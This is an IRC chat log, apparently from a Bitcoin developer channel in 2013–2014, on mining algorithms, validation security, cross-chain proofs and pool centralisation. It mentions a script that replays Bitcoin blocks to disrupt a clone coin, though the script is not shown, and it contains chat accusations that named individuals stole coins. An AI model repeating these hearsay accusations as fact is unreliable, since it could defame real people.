09:21 < Emcy> ok i assume it was truecrypt
09:22 < Emcy> http://www.bbc.co.uk/news/uk-25745989 look hes got a beard so hes probably up to no good!
09:22 < adam3us> jtimon: analogously i was similarly suspicious of dan larimer with his momentum hash and protoshares. that no GPU status fell pretty fast though he fought the claim all the way down
09:23 < Emcy> adam3us isnt it fairly common knowledge that someone was mining LTC rather faster than should have been possible early on
09:23 < tacotime_> I recall artforz had mentioned he implemented it on GPU And it was slower
09:24 < tacotime_> The algo itself is slower on GPU if you don't use the TMTO trick (only store every other value in the memory pad and look up the others on the fly)
09:25 < tacotime_> There's a little bit of reason to believe that solar designer and artforz may have been the same person, but I won't eloborate
09:25 < adam3us> Emcy: I dont know wasnt paying attention at the time. tacotime_: the thread jtimon posted above says their programmer spent 4hrs and made something 150x faster than artforz claimed best.
09:26 < tacotime_> You honestly trust something coinhunter said?
09:26 < tacotime_> The guy who has stolen hundreds (probably thousands) of BTC from the community over the past 2 years? ;)
09:26 < adam3us> tacotime_: solar designer is pretty crypto sharp, he posts on cpunks/crypto lists a lot and seems to have clues. seems to me if that is artforz alter ego he'd have the sharps to do a little TMTO
09:27 < adam3us> tacotime_: yeah i heard of solid coin by infamy/reputation only wasnt paying attention back then. he's that guy?
09:27 < tacotime_> yeah
09:27 < tacotime_> RealSolid/CoinHunter, same person
09:28 < tacotime_> http://www.openwall.com/lists/crypt-dev/2013/03/21/1
09:28 < adam3us> tacotime_: apparently his antics were so stupid/evil/greedy as to remain the subject of lore 3 years later :) thats how i heard about solid coin at all
09:28 < tacotime_> I'm not sure where mtrlt was updated to the desynchro/TMTO trick though
09:29 < tacotime_> Or if pooler had first picked it up when optimizing his LTC miner
09:30 < adam3us> tacotime_: i think i saw solar designers TMTO experiments, he mustve cross posted to one of the crypto lists
09:30 < tacotime_> yeah
09:31 < tacotime_> mtrlt also ran off with a load if bitcoins after claiming he would implement primecoin miner on gpu
17:56 < gmaxwell> jtimon: if you don't download the whole chain then miners participants in the past before you joined could have cheated and freely written themselves blank checks. Its very nice today that when people ask about this (which they frequently do) I can give them a very strong answer: No, your software audits against that, and you can audit its code (or have
someone else do so) to make sure that it does.
17:56 < adam3us> gmaxwell: committed tx would be your only remaining defense against policy, you can still do a few things, notice when they make changes etc, but with less power to do anything about it
17:56 < maaku> gmaxwell: our approach is to move more transactions off-chain onto private servers, and use the public concensus mechanism only when necessary (e.g. cross-server trade)
17:57 < gmaxwell> adam3us: sipa has a great argument that goes: At one extreme blocks are maximally small and no one can transact but everyone can validate and so the system is centeralized because so few can transact. At the other extreme the blocks are enormous and everyone can transact but no one can validate, so the system is again centeralized because we must trust
the few validators. The ideal behavior is somewhere in between.
17:57 < adam3us> maaku: in a way thats mirroring bitcoin activity, most mtgox,bitstamp trades are in server
17:58 < adam3us> gmaxwell: sounds like sipa's block chain triangle:)
17:58 < maaku> adam3us: yes, but we'd like to do it in a way where your 'off-chain wallet' contains similar security gurantees - server can't spend your coins without your sig, and any modification of the spend history is detectable, etc.
17:58 < jtimon> gmaxwell, with maaku's UTXO index hashed on every block, it's just a matter of how long in the past you want to go
17:58 < gmaxwell> Sipa Circumflex of Centeralization.
17:59 < jtimon> back to genesis? to the last checkpoint?
17:59 < maaku> similar to OT in that regard, but using bitcoin structures for interoperability
17:59 < gmaxwell> jtimon: allow me to be offended while you lecture one of the first people to suggest committed utxo on the subject of them...
17:59 < adam3us> maaku: i agree its the holy grail of off chain transactions " we'd like to do it in a way where your 'off-chain wallet' contains similar security gurantees - server can't spend your coins without your sig, and any modification of the spend history is detectable, etc."
18:00 < maaku> ok well read the paper and give us your feedback
18:00 < gmaxwell> jtimon: regardless not validating the rules is a break in the security model, and its one that may have weird interactions with incentives. Today a miner that does a bit reorg can only reorder transactions, in an enviroment where many nodes don't validate deeply, they can write themselves a blank check.
18:01 < maaku> we're implicitly assuming some form of tx commitment though (not mentioned in the paper), which is the source of some of the security protections
18:01 < adam3us> maaku: not saying i have a solution, though like presumably many others its occupied my thoughts for some time
18:01 < gmaxwell> This isn't to say that its not a good tradeoff, but its not clear that its a free one.
18:01 < jtimon> sorry, gmaxwell, and yes, I've heard that potential problem, I think from retep
18:02 < adam3us> maaku: on loose idea is to use the bitcoin block chain to timestamp the merkle root of the offchain servers transaction log
18:02 < gmaxwell> I suppose its a change which actually could be made in bitcoin because basically none of the users have a mental model of the security that makes any sense... though its kinda sad that it wouldn't be controversial to revise the security model in such a substantial way.
18:04 < adam3us> gmaxwell: i'm with you on this one, the assurances of immutability are the strongest feature of bitcoin
18:04 < jtimon> the way I see it, it's configurable security, you can still be a full node, miners should be prepeared for very big reorgs
18:04 < gmaxwell> jtimon: moral hazard.
18:04 < gmaxwell> If you're in a minority you're actually worse off setting security higher than other people.
18:05 < jtimon> I see
18:05 < gmaxwell> And if you can reduce your costs and let some other sucker take the work of making the security promises good? oh well.
18:05 < gmaxwell> (worse off because it's a consensus system: it's often more important to agree than to be right
18:05 < maaku> ... which is why i'm staunchly against probabalistic validation
18:06 < gmaxwell> maaku: if its over old history that you wouldn't have validated anyways? and your response it to just shut down and nag the user? I don't worry about that. It's just a backstop that means that manual intervention would kill an attack that depended on a historical rule validation.
18:06 < adam3us> gmaxwell: agree vs right; I agree: it seems to me that other than SPV, miners could indirectly facilitate consistent distributed arbitration of a random decision, so long as its immutable
18:06 < gmaxwell> Likewise, the fraud notices stuff would make probablistic validation not a consensus risk. ... (though a software engineering risk... :( )
18:08 < adam3us> gmaxwell: just based on timestamping, no other validation; full node users could do committed tx fine with that assumption
18:09 < adam3us> if there is a way to shard activity within a timestamp tree, you might be able to scale that further than a miner validated blockchain (the miners in this model would just be timestamping merkle roots)
18:10 < jtimon> so you just timestamp things and the validation comes later, no?
18:10 < gmaxwell> maaku: the other question is: if your choice is "only google does the validation" vs "lots of parties do probabalistic validation with some risk of consensus failure" I don't think that it's a hard decision. There are lots of nice centeralized systems out there, I don't think bitcoin is really competition for them. And I do think in the long run some
compromises will be the matter of effectively centeralizing the whole ball of wax ...
18:10 < gmaxwell> ... or not.
18:10 < gmaxwell> adam3us: the incentive model is goofed up though if unfaithful validation doesn't make your 'work' wasted.
18:11 < gmaxwell> e.g. say it's constructed so you could timestamp multiple orthorgonal consensuses ... you might as well timestamp a zillion of them just in case one is preferred over another.
18:11 < gmaxwell> (this is the problem proof of stake has)
18:12 < adam3us> jtimon: yes committed tx are validated by users (including full tx history) and in this timestamping only use of it peers would need to be full nodes, but maybe it can be sharded to eg freimarket servers for the merkle root
18:14 < jtimon> it reminds me to a "crap serializer" idea I had, but mine was centralized
18:14 < adam3us> gmaxwell: so the hypothetical would be have lots of OT like servers as supernodes (but still peers) they participate in the timestamp consensus
18:14 < jtimon> how do you agree on the p2p serialization? do you have a thread?
18:15 < adam3us> gmaxwell: users transact on a given server with receipts, if anything goes wrong they switch servers; the server cant undo things because its transaction merkle root is timestamped
18:17 < gmaxwell> adam3us: how do you prevent supply doubling where users clone themselves and start transacting on two servers in parallel?
18:17 < adam3us> users, servers audit other servers ot be sure they never put conflicting statements in their tx tree
18:20 < adam3us> gmaxwell: possibly (or so i was loosely thinking) each asset has a home server that is the authority on ordering transactions involving it - the idea is distributed consensus is hard but individual consensus is trivial, and mining timestamping prevents revisionism, and audit detects problems, and then you need some migration property where you can move the
asset to a new home using receipts (but only after timestamp validates the move)
18:21 < adam3us> gmaxwell: say it costs higher fees to move via the timestamp chain to another server, so there is a disincentive to move unless actual problem; and servers cant cheat as they are audited and the system reacts to cheating
18:22 < adam3us> gmaxwell: its basically OT + blockchain timestamping for merkle root timestamping, and reward (coin mining via blockchain timestamping) and to validate the movement of an asset to a new home
18:24 < adam3us> it becomes simpler to change mining details also when it is only doing timestamping eg as its low bandwidth, doesnt deal with 0-confirm ordering, nor validation of transaction details, nor fee collection
18:25 < gmaxwell> adam3us: this is starting to tread into the space I was talking about with the coinwitness stuff (using non-interactive zero knoweldge proofs to delegate coins to external transacript producing systems and eventually pull them back)
18:25 < gmaxwell> transcript*
18:27 < maaku> gmaxwell: I think if we move a lot of things off-chain (including day-to-day payments), and start using the chain mostly for global concensus over multi-server trades, we won't have to scale bitcoin much
18:27 < adam3us> gmaxwell: have to re-read that, while i thoght scip/snark interesting i mentally put it in the 'future crypto' bucket to keep an eye on
18:28 < adam3us> maaku: yes, but a bit of an open question how that can be done while preserving the bitcoin properties
18:28 < maaku> so fears about needing "google-scale" are not yet convincing, imho
18:29 < gmaxwell> maaku: personally I hope so, but that comes with another worry. Say we jack way up the block size, and the things move off to other systems (for things like instant confirmation) ... will bitcoin be able to support itself on fees with the enormous block sizes but most txn off chains? hell
would it be able to support adequate security with fees even with
current blocksizes? Petertodd gave a vision of the future where those ...
16:09 < amiller> i want to talk about p2ptradex
16:09 < amiller> you guys read this post? https://bitslog.wordpress.com/2013/05/20/p2ptradex-back-from-the-future/
16:25 < gmaxwell> amiller: what about it? ... results in enormous transactions to have any real degree of cross chain proof, and even then only gets you spv security.
16:25 < amiller> i don't think any of that is necessarily true
16:25 < amiller> first of all it doesn't have to be about transaction size, proof size can be amortized for many transactions
16:26 < gmaxwell> The first is true so long as headers are a singly linked list.
16:26 < amiller> under normal conditions, two blockchains are perhaps roughly synchronized
16:26 < amiller> you could merkle tree over the headers and go down to log
16:26 < gmaxwell> The second is true so long as you don't comingle the consensus of the two chains.
16:26 < amiller> you don't have to do full validation
16:26 < gmaxwell> amiller: only by changing the headers.
16:26 < amiller> the thing is you can be asymmetric in two ways
16:26 < amiller> like if i am trading my bitcoins for your litecoins
16:27 < amiller> i don't really care if the bitcoin side gets canceled
16:27 < gmaxwell> amiller: no, but I sure do.
16:27 < amiller> i'm only concerned that the bitcoin side goes through and litecoin gets canceled
16:27 < amiller> right
16:28 < amiller> so i am happy if the bitcoin side just trusts litecoin at face value
16:28 < gmaxwell> I mean the _whole_ point of doing anything fancy there is to control the cancelation behavior, otherwise you can just do joint secret locked outputs.
16:28 < amiller> i don't care if the bitcoin chain only does spv validation of litecoin because i'm going to be just as vulnerable to litecoin anywa
16:28 < amiller> likewise you'll be happy if litecoin does only spv validation of bitcoin
16:29 < amiller> because you're going to end up with bitcoins anyway and if spv isn't good enough then something horrible has happened
16:29 < gmaxwell> amiller: say we're going to trade 1000 BTC worth of coins and I can buy computing power at near mining cost rates on the open market.
16:30 < gmaxwell> how big must the transactions be before its not cheaper to mine bogus blocks instead of completing the transaction?
16:31 < amiller> right so the tricky case is when there's a big disparity in mining power between the two chains
16:31 < amiller> but lets say we agree on the price
16:31 < amiller> it's proportionally a much bigger transaction on the tiny litecoin chain
16:31 < amiller> so i should correspondingly wait much longer before i'm sure
16:32 < gmaxwell> just assume it's 'bitcoin to bitcoin' if you will. I still think the result ends up ugly.
16:32 < amiller> the proof doesn't all have to be in the transaction, i think sdlerner's particular solution is wrong and ugly but the key idea works
16:34 < amiller> like assume you can use something like the hash-value-highway to get a concise aggregate sample of work
16:34 < gmaxwell> even a cut and choose compression of the headers ends up being quite large.
16:34 < amiller> basically since there are tiny trivial litecoin blocks so frequently, it would suck to try to say that bitcoin has to validate two weeks worth of ltc blocks before comitting the transaction
16:35 < gmaxwell> amiller: I think the bitcoin bitcoin case sucks too, as mentioned. even when you get to dozens of headers the transaction is rather enormous.
16:35 < amiller> but if i'm going to end up with litecoin anyway, i'm okay if bitcoin only does concise work-sampling validation
16:35 < amiller> if there is a lot of volume of btc to litecoin trades then we can all amortize the validation
16:35 < amiller> there's no reason each individual transaction has to repeat the whole process
16:36 < amiller> there's maybe a scheduling/batching challenge in there
16:36 < gmaxwell> and any subsetting case will still need n bits of selection where n is fairly large compared to work.
16:36 < amiller> that's not true i don't see why you'd say that?
16:36 < gmaxwell> amiller: yes if you comingle the consensus algorithim, and effectively merge the chains
requiring all full validators to validate both, it obviously works.
16:36 < amiller> no i'm saying it doesn't require full validation
16:37 < gmaxwell> amiller: because if your sample is just one point then a single lucky block can rob all concurrent spends. and also may take forever to come, leaving the transactions stuck for a long time.
16:38 < gmaxwell> amiller: if it's not full validting that surprise its just spv security. And SPV is quite weak when you have an information hiding risk.
16:38 < gmaxwell> So you need a lot of header proof to make SPV with a hiding risk not laughably bad.
16:38 < amiller> what do you mean
16:38 < amiller> i don't follow what you mean by informtion hiding
16:38 < amiller> if you mean errors in transactions then header doesn't solve that anyway so i don't know what you mean
16:39 < gmaxwell> As I said before, consider a 1000 BTC trade "bitcoin to bitcoin" via this mechenism. Say you require 12 headers. I can buy that computation for about 300 BTC. A big profit to cheat. The inner validation only knows what you tell it, it can't go out and discover that there is a longer chain far ahead of that one.
16:40 < amiller> that's true of any btc transaction with the threat of double spending
16:40 < gmaxwell> No, it's not
because you can find out that there is a longer chain, so that someone spending weeks to produce a 12 header stub does no good, as the whole world has moved along.
16:41 < gmaxwell> SPV in information isolation requires only energy. SPV when there is no isolation requires energy at high power.
16:42 < gmaxwell> I think this is a tangent in any case.
16:42 < amiller> the rules for applying include an amount of work in both chains
16:42 < amiller> so it's not just 12 headers at any time
16:42 < amiller> but 12 bitcoin headers before say 60 headers of litecoin
16:42 < amiller> 60+epsilon
16:43 < gmaxwell> you can't be guaranteed any particular processing speed
especially for your jumbogram transaction.
16:43 < amiller> if i'm confident i'm going to learn about 60 litecoin headers before you learn about 12 bitcoin headers, then i'm okay
16:44 < amiller> the point is we are both taking bets about the rate of proof-of-work of the chain we're going to end up on
16:44 < amiller> and any substantial change in that would make us vulnerable to double spends where we end up anyway
16:44 < gmaxwell> And this accomplishes exactly what?
16:45 < gmaxwell> A _trivial_ protocol already reduces this problem to pure holdup risk.
16:45 < amiller> right so i'm solving the holdup risk for a cross-chain transaction, up to the same security guarantee we have against double-spending in an individual chain
16:46 < gmaxwell> except you're not. Because the transactions cannot be mined atomically in both.
16:47 < gmaxwell> The rates of the two chains might be a nice constant ratio, but the _start time_ has no particular reason to have a non-zero offset in the two chains.
17:26 < amiller> ok i almost worked it out
17:26 < amiller> difficult to explain, this may take a few tries
17:27 < amiller> i'm giving you my bitcoins and you're giving me your litecoins, but suppose i'm able to produce a short proof that the the litecoin chain has moved on several blocks *without* having your end of the transaction on it
17:27 < amiller> i should be able to present that proof to the bitcoin chain and use it to cancel my sending bitcoins to you
17:31 < gmaxwell> right, okay, so you need a UTXO proof, plus headers.
17:31 < amiller> not full headers, less than spv
17:31 < amiller> just a work sample
17:31 < amiller> that can be seriously small
17:32 < gmaxwell> Be concrete. I know ways to reduce enormous amounts of work to merely large, but I'm not seeing how you actually get something compact.
17:32 < gmaxwell> and a utxo proof is log(total utxo)
17:34 < gmaxwell> (the two ways I know to reduce enormous amounts to large is the hash highway method, and hash highway I think you need a header format change or you can't show the headers are related, or non-interactive cut an choose)
17:34 < amiller> header format change yes
17:34 < amiller> the noninteractive cut and choose isn't necessary
17:35 < amiller> basically i don't need to assert that the header samples form a valid chain
17:36 < gmaxwell> you do need to assert they came after the utxo proof connected header.
17:36 < amiller> i just have to show that they are very unlikely to be constructed without the minimum amount of work, and that they all occurred after some deadline (meaning there's some path of preimages that leads to some origin point of interest)
17:36 < gmaxwell> s/came after/ are connected to.
17:39 < gmaxwell> amiller: otherwise I mine a single fake litecoin block with a fake utxo committment and give you that and a dozen real litecoin headers.
17:40 < amiller> hm, right, so i should check that the utxo commitment associated with each block couldn't have had data in it that contradicts my claim (that the transaction i care about has not shown up)
17:41 < gmaxwell> yea... so 800 bytes per block... :(
17:43 < amiller> if that's the only thing to grimace at i'm happy
17:43 < amiller> imo this is a building-block for not-necessarily-global blockchains
17:43 < gmaxwell> by per block I mean per block in your proof.
17:44 < amiller> yes i know
17:44 < amiller> if there's a lot of volume of btc to ltc transactions then we can all amortize the validation of work
17:44 < gmaxwell> well the utxo membership proofs can't really be substantially combined.
17:45 < amiller> yes but i only need it on the last one if there are canonical litecoin headers already
17:45 < gmaxwell> canonical litecoin headers implies full nodes validating litecoin blocks.
17:46 < amiller> either way this is just a possible optimization
10:26 < amiller> instead, if you built in something like this feature i'm describing, any attempt to tweak the rules to let in an extra million, even "only just this once", would require porting over everyone's signatures to some new thing all at once
10:27 < amiller> easily?
10:28 < petertodd> amiller: yeah, just make it possible to steal block rewards given proof of fraud
10:28 < amiller> i'm more optimistic the other way around... if i have a good definition, i can find someone who can do the relevant crypto, or i can wait 5 years and pinocchio or tinyram will be fast enough
10:28 < amiller> to steal anyone's block rewards?
10:28 < amiller> i don't think that solves it
10:28 < amiller> because it's still a simple "tweak" to the rules to make one particular fraud not count
10:29 < amiller> i'm not talking about someone sneaking in a deviant block undetected
10:29 < amiller> i'm talking about publicly getting everyone to agree to tweak a rule and then just accepting it
10:29 < petertodd> ah, hmm... sounds like magic :)
10:30 < petertodd> anyway, if everyone agrees, they can just as easily agree to change the rules to turn your system off
10:31 < amiller> right but then it's all or nothing
10:31 < amiller> this is meant to prevent tiny rule changes
10:31 < amiller> that otherwise preserve the system in tact
10:31 < petertodd> they had to agree to change validation...
10:31 < amiller> which makes it more plausible that you could convince everyone to agree to go along with it
10:31 < amiller> which means the system could plausible evolve over time
10:31 < amiller> if you actually wanted to bake in certain rules permanently then you could use this technique
10:33 < petertodd> well, anyway, if you figure out how to I'll be impressed all the same
10:33 < amiller> i think the trick is to relate signatures to block validation
10:34 < amiller> the signature scheme would have to be able to use knowledge of a violated rule as an alternate way of being accepted
10:35 < amiller> this means if a miner can include a block that violates a rule, he can also sign anyone's signatures
10:35 < amiller> the point is you could still just switch to another blockchain, but you would have to leave everyone's keypairs behind
10:36 < amiller> another way of putting it is that when you generate a spending keypair, you'd be making that keypair affixed to particular set of constitutional rules
11:00 < gmaxwell> petertodd: http://www.reddit.com/r/Bitcoin/comments/1pjiv4/coinswap_a_transaction_protocol_to_trade_coins/
11:00 < petertodd> nice
11:00 < petertodd> although, I suspect the headline won't be understood as to me teleporting value...
11:08 < gmaxwell> Well, I added: http://www.reddit.com/r/Bitcoin/comments/1pjiv4/coinswap_a_transaction_protocol_to_trade_coins/cd2xqif
11:09 < petertodd> that looks better
12:30 < adam3us> amiller: so for example say by modifying the constitution you are allowed to add a factor of our chosing to the coin public keysand hence to know the discrete log and spend them
12:31 < amiller> i think - something like that
12:31 < adam3us> amiller: or alternatively people seem really scared of even soft forks ;P, so maybe its not essential in pracitce, but its an interesting question
12:32 < amiller> it's easier for me to think of this in terms of generic zero knowledge and circuits
12:33 < amiller> a public key is like the SNARK for a circuit that is valid if *either* the signature for the transaction is correct *or* you have evidence that the previous block hash contains an invalid rule
12:33 < adam3us> amiller: so what i mean is if the factor you add during your mining in constitutionally valid ways (no variation) are definitoinally things you cant know the discrete log of (as they are hash outputs eg)
12:33 < adam3us> amiller: gotcha actually thats sort of generic ZKP or model
12:34 < adam3us> amiller: and yet by varying u get more freedom in the factor so could chose it maliciously
12:35 < adam3us> amiller: thats not actually the same of course, what you are saying via ZKP or is that not only could you be malicious if inclined, but you definitinally create teh risk by introducing an OR zkp
12:36 < amiller> yes
12:36 < amiller> it's tricky though because
12:37 < adam3us> amiller: i could ctually see that working no?
12:37 < amiller> transactions ordinarily just refer to the transaction graph, separately from blocks
12:37 < adam3us> amiller: yes there is a block / tx mismatch, that is quite inconvenient
12:37 < amiller> so i don't see immediately how to rule out that you could still just change the protocol and keep using the same public keys
12:38 < amiller> this doesn't have the desired effect if you could just interpret the existing signing keys with a different validation circuit
12:38 < amiller> the approach should be to somehow make the signing keys totally useless except in the context of valid blocks
12:38 < adam3us> amiller: right; seems like that might need something more sophisticated concept
12:39 < adam3us> amiller: like all sigs are based on SCIP/SNARK but bound to the constitution hash so that if its varied the proofs no longer are valid
12:39 < amiller> i still think this is definable just using zero knowledge and arranging things carefully
12:39 < amiller> yeah exactly
12:39 < amiller> it would turn "small one-time-only tweaks/exceptions" into suddenly *everyone's* problem that has any coins
12:41 < adam3us> amiller: yes the use-case is clear; prevents special pleadings by governments as now - bending constitutional rules due to political expediency ina time of financial difficulty
12:41 < amiller> right
12:41 < adam3us> amiller: if the cost is everyones money goes up in smoke, thats clearly worse; financial armageddon
12:42 < amiller> as it concerns bitcoin, i believe that currently people *overestimate* the relatively ease of convincing everyone to go along with an incrementally rule-bending change that doesn't really affect them and might as well go with the flow
12:42 < amiller> at the same time, even a tool like this isn't a perfect solution to everything
12:42 < amiller> the ability to change rules through consensus is actually a pretty positive thing so far
12:43 < adam3us> amiller: i was just talking with petertodd about even well meaning short-termism creating problems through lack of focus on the big picture (upthread)
12:43 < amiller> i can imagine having some rules baked in this way and other rules able to change like currently through hardfork
12:43 < amiller> it seems like it would be clearly a useful tool to add but it's not obvious how best to apply it
12:44 < adam3us> amiller: yes; probably the main risk is bitcoin has a quite entangled hard to modify design, and code bug could screw core value up; would be useful if there was a way to finalize core value protection and do other higher level features separately without risking it
12:45 < adam3us> amiller: 21mil coin cap & mining production rate function are good candidates
12:46 < amiller> yeah, 21mil coin cap definitely the most fun one to aim at with this
13:00 < adam3us> amiller: so what if u made each ecdsa sig instead zkp of knowledge of DL of Q (bound to H(tx) aka ECDSA(tx) OR NOT (reward ==25 || epoch==2 & reward==12.t ...)
13:01 < adam3us> amiller: if you make a soft fork on reward, suddenly everyone will be able to spend anything
13:02 < adam3us> amiller: thats even a compact proof using representation problem (extended schnorr)
13:02 < adam3us> amiller: brands stuff can prove ==, NOT (aka !=) and OR is generic
13:04 < adam3us> amiller: could be more simply referring to currentReward()
13:50 < gmaxwell> Man, dealing with users is hard: http://0bin.net/paste/e6R8Cv8TJEdr-Fq0#c36UxiHSURdA06LPQPNiCvyiOIQ++XGScvPoTvJ/lEg=
14:47 < K1773R> gmaxwell: those ppl deserve loosing their coins S:
14:47 < gmaxwell> K1773R: we need those people happily using bitcoin to make it have a functioning economy. :)
14:48 < K1773R> gmaxwell: unfortunately yea
14:49 < amiller> adam3us, so actually.... the trick must be to allow the miner to hide the tranasction signature
14:50 < amiller> if the user submits an actual signature, then the miner can construct a ZKP that hides either (the attached signature is valid OR the prev block hash is bad)
14:50 < amiller> uh hm that still has that problem that you could give a different ZK proof for the same signature :/
14:51 < amiller> this isn't a clean change but you could require that all transactions are interactive and the tx itself requires a signature of the most recent block
15:02 < amiller> this would sort of be a general approach to having a non-reusable signature scheme
15:02 < amiller> normally signatures can be taken out of context
15:03 < amiller> i could be participating in a game where i use my gpg key to sign chess moves
15:03 < amiller> but someone else could pick some new protocol that also uses my signatures and maybe they conflict in some way
15:24 < MC1984> oh this is real.....
15:35 < sipa> is this the real life?
15:40 < gmaxwell> Or is this fantasy?
15:40 < gmaxwell> ^just
16:35 < gmaxwell> joining #eligius right now may be good for popcorn. The operator of betcoin.tm waynetbarclay is mad about eligius blocking his (SD style) 'dice' transactions and appears to be making veiled threats of DDOS attacks.
16:39 < warren> pastebin log?
17:43 < sipa> maaku: the name compactisgnature actually comes from the fact that not using DER is more compact
17:43 < maaku> ah
17:44 < sipa> adding the recovery bit was later i think
18:24 < gmaxwell> petertodd: Luke-Jr apparently wasn't aware that the DBG transaction wasn't getting mined.
18:25 * Luke-Jr figured petertodd figured out a way around it :p
--- Log closed Thu Oct 31 00:00:27 2013
--- Log opened Thu Oct 31 00:00:27 2013
--- Day changed Thu Oct 31 2013
02:47 < warren> hmm, I see next-test didn't integrate Coin Control and watch only either.
05:53 < HM2> hmm
18:37 < shesek> so I guess Satoshi is now heavily invested in Jesuscoin? :)
18:37 < shesek> he should own a pretty large chunk of it
18:39 < shesek> given his large ownership in the early bitcoin blocks
18:39 < sipa> ...?
18:40 < maaku> shesek: yes, but unfortunately he Ascended into heaven in 2010 without leaving any of his public keys to his disciples :\
18:40 < maaku> /public/private/
18:40 < sipa> someone should create a Nakamotocoin - dedicated to The Ascended One
18:41 < sipa> by mocking his Creation
20:19 < justanotheruser> thanks andytoshi
20:22 < gmaxwell> From #p2pool:
20:22 < gmaxwell> 17:20 < owowo> gmaxwell: can you explain why ppl are mining on those BIG pools?
20:22 < gmaxwell> 17:21 < owowo> I don't get it, they must get more coin there.
20:23 < gmaxwell> oh he says he was kidding now.
20:23 < gmaxwell> dude just nearly dodged getting face-stabbed.
20:27 < shesek> bigger pools could operate on lower margins, so miners could benefit from the lower fees
20:27 < shesek> I'm not really familiar with pools though, so I'm not sure if that's true in practice
20:27 < gmaxwell> shesek: except that there are smaller 0 fee options (including p2pool)
20:28 < gmaxwell> the biggest pools have historically had the highest fees.
20:29 < gmaxwell> (the exception being ghash.io, and thats weird on a couple levels including the that its widely understood that the owners of ghash.io own a majority of the hashpower on their pool)
20:29 < shesek> doesn't ghash's hashpower comes mostly from cex?
20:30 < gmaxwell> shesek: yes, common ownership.
20:30 < shesek> which is physically owned by them, but should be "owned" by other people
20:31 < shesek> though as long as they have physical ownership over the hardware, its really a matter of trusting them
20:31 < gmaxwell> yea, no clue how much of cex is "owned" by other people
they don't disclose that, the prices are off the charts.
20:32 < gmaxwell> in any case, ignoring ghash.io it's always been the case that the largest pools had the highest fees, almost nearly in order.
20:32 < shesek> btw, about p2pool, doesn't it have a much higher orphan rate that would really effect payouts for the worse?
20:32 < gmaxwell> wow
20:32 * gmaxwell cries
20:32 < gmaxwell> shesek: no, P2pool's orphan rate is lower than other pools by an order of magnitude.
20:32 < shesek> sorry, I'm really not familiar with p2pool and pools in general, I'm just asking to educate myself better :)
20:33 < gmaxwell> My crying is because it's just a replay of the constant fud that circulates and has no basis in reality. :( It's not your fault the whole world is dumb.
20:33 < shesek> so it seems like a lot of people are misinformed about that, I've read that in multiple places
20:34 < shesek> and I wonder how it worked out like that with the pools fees
20:34 < shesek> and why people keep joining the bigger pools if that's the case
20:35 < shesek> it might be psychological, where people think that bigger pools are better for some reason
20:35 < shesek> they face a choice paralysis when they need to pick one, and go after the largest one hoping that its somewhat better
20:35 < gmaxwell> back in early 2012 there was a span when p2pool had a somewhat high orphan rate, it's not clear if it was just bad luck or a real problem but major work was done to improve it. The end result has in the last several months had only 2 orphans against like 1627 blocks. Compared to, say, eligius which has had somewhat more than 1% orphans (also typical for other pools)
20:36 < gmaxwell> Overall p2pool has solved about 107% of the blocks you would have expected based on its observed work done.
20:37 < gmaxwell> shesek: oh a lot of people misunderstand why pooling exists, they think that mining is a race
and in a race the fastest party always (or almost always) wins.
20:37 < gmaxwell> They talk about needing an X TH miner in order to "keep up" and things like that.
20:37 < gmaxwell> Following that logic, the biggest would be best. sooo.
20:38 < gmaxwell> also explains the inverse fee relationship. They think the biggest is best but attempt
without the aid of math or understanding
to balance that against fees.
20:38 < shesek> educating miners better could definitely help here, some more official resources about that could do some good
20:39 < shesek> an "introduction to mining" on bitcoin.org or something
20:40 < shesek> I do think there's some choice paralysis in play here too. Miners don't really have any effective way to pick a pool, which makes that choice somewhat hard... I guess that some just pick the biggest by default
20:40 < gmaxwell> yes, "so many other people choose it, it has to be good"
20:41 < gmaxwell> we've also seen some "large pool cycling" where the second or third largest pool gets a lucky run and shows up at the top of the charts... and then it becomes the largest pool.
20:42 < gmaxwell> P2pool has a bunch of UX stupidity that doesn't help
even feeds into the misunderstandings.
20:42 < shesek> perhaps something that helped pick a pool, with a weighted random based on the inverse popularity
20:42 < gmaxwell> there really is only one pool we should be recommending, p2pool. It's the only suriving pool thats a decenteralized system.
20:42 < shesek> could be marketed as "help save Bitcoin from centralization by using this!"
20:43 < gmaxwell> warren has been trying that.
20:44 < shesek> setting up an "whatpoolshouldipick.com" that simply gave one pool in a big font with a link, explaining how the selection works, could be nice
20:44 < shesek> and help overcome that choice paralysis
20:44 < shesek> but yeah, long term, p2pool is much better
20:45 < shesek> but its still somewhat inaccessible to users and requires setting up a full node
20:45 < shesek> I saw a thread about this on bitcointalk, it would really help if they setup a nice looking website with instructions and easier way to get it up and running
20:45 < gmaxwell> 'they'
20:46 < gmaxwell> it's not like there is a P2pool company.
20:47 < shesek> well, yeah, it should really be a community effort
20:47 < shesek> not really "they", more like "we"
20:47 < gmaxwell> At the moment setting up a full node is so burdensom that its sort of the long poll in the tent. Sync really needs to be fixed.
20:49 < shesek> what are your current thoughts on the best way to address this?
20:50 < gmaxwell> It's addressed by sipa's headers first sync work.
20:50 < gmaxwell> But the code is immature.
20:52 < shesek> sipa closed https://github.com/bitcoin/bitcoin/pull/2964 saying that he's working on something better, is it public yet?
20:52 < shesek> can't seem to find a newer pull request / issue
20:54 < gmaxwell> shesek: he has been pipelining the changes since it seemed to be a bit much at once. https://github.com/bitcoin/bitcoin/pull/3370
21:02 < shesek> cool, I haven't really kept up with developments on that front, looks like a good solution
21:05 < shesek> gmaxwell, what do you think about that website I suggested? I think it could be pretty cool as a go-to solution for picking a pool
21:05 < shesek> can even be provably fair by basing the "random" choice on the user's ip and user agent
--- Log closed Wed Jan 08 21:14:13 2014
--- Log opened Wed Jan 08 21:19:30 2014
--- Log closed Thu Jan 09 00:00:17 2014
--- Log opened Thu Jan 09 00:00:17 2014
01:17 < justanotheruser> Has anyone made any proposals for anonymity networks upon which things like coinjoins and coinswaps could take place?
01:22 < michagogo|cloud> I left the Jesuscoin-killing script (replaying the Bitcoin blockchain) running overnight
01:23 < michagogo|cloud> Only gotten as far as block 234853
01:25 < justanotheruser> michagogo|cloud: nice, you actually made the magic changing thing
01:26 < michagogo|cloud> justanotheruser: I actually tweaked linearize.py to do that
01:26 < justanotheruser> michagogo|cloud: does jesuscoin have a community at all?
01:26 < michagogo|cloud> But before I actually ran it, I realized that I didn't need to
01:26 < michagogo|cloud> This script also works: http://0bin.net/paste/OFWqJ7Lj0k0GO0o4#Rd6uP8VFxwv3SEO4HQAwtF+Vy5M3ZtaUrrKC9m3qI+w=
01:26 < michagogo|cloud> justanotheruser: Not really, afaik
01:27 < justanotheruser> michagogo|cloud: Is this only possible because jesuscoin has all bitcoins defaults?
01:27 < michagogo|cloud> justanotheruser: Yes
